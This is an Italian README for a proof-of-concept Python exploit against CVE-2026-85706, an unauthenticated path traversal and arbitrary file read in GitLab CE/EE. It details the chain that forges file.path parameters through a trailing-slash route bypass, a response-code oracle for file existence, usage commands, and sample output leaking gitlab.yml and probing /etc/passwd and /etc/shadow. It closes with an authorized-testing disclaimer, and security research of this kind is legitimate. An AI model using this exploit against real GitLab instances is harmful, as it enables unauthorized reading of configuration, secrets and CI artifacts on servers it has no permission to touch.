
PoC Python che sfrutta CVE-2026-85706, un path traversal non autenticato e lettura arbitraria di file in GitLab CE/EE tramite l'endpoint create-commit, con file-read oracle.
Path traversal non autenticato / lettura arbitraria di file in GitLab CE ed EE. CVSS 10.0. Verificato contro un'istanza self-managed 19.3.1 in un laboratorio locale.
GitLab CE/EE:
Precondizione: l'istanza ha almeno un progetto pubblico. Qualsiasi id di progetto reale funziona. Nessun account o token necessario.
L'endpoint create-commit POST /api/v4/projects/:id/repository/commits
accetta corpi di file di grandi dimensioni, quindi Workhorse bufferizza il corpo della richiesta su disco e
inietta i metadati file.path / file.size che Rails deve rileggere. Quattro
errori si allineano:
require_gitlab_workhorse! all'ingresso. Il vero
authenticate! si trova dietro authorize_push_to_branch!, che viene eseguito dopo
la lettura del file.file_params_from_body_upload prende file.path e file.size direttamente
dai parametri della richiesta, quindi File.read(file_path) segue qualsiasi percorso assoluto
tu fornisca..../repository/commits\z.
Aggiungendo una barra finale si manca quella route e si ricade nel reverse proxy
firmato, che inoltra il corpo grezzo con un JWT valido. Il controllo di Workhorse
passa, Grape normalizza la barra, e i parametri falsificati sopravvivono.Content-Type: application/x-www-form-urlencoded il contenuto del file viene
analizzato da Rack::Utils.parse_nested_query. Una sequenza % illegale solleva
ArgumentError: invalid %-encoding (<component>) e la risposta 400 riecheggia quel componente
verbatim.La lettura viene eseguita come utente git. Il contenuto ritorna solo se il file contiene
una sequenza % illegale; altrimenti ottieni comunque un oracolo pulito di esistenza e
leggibilità:
| Response | Meaning |
|---|---|
400 local file not present | il file non esiste |
500 | esiste, non leggibile da git |
401 | esiste e leggibile, nessun % illegale, nulla riecheggiato |
400 invalid %-encoding (...) | leggibile, componente riecheggiato |
I file che riecheggiano in modo affidabile su un'installazione omnibus predefinita: gitlab.yml (il commento
di intestazione colpisce 95% presto), log e artefatti dei job CI, allegati caricati,
e database.yml su distribuzioni con un database esterno.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Nessuna dipendenza, solo stdlib.
Contro gitlab-ce 19.3.1 in docker, zero credenziali:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Controlli rapidi dell'oracolo dalla stessa esecuzione:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Solo per test di sicurezza autorizzati e ricerca. Non utilizzare contro sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione al test.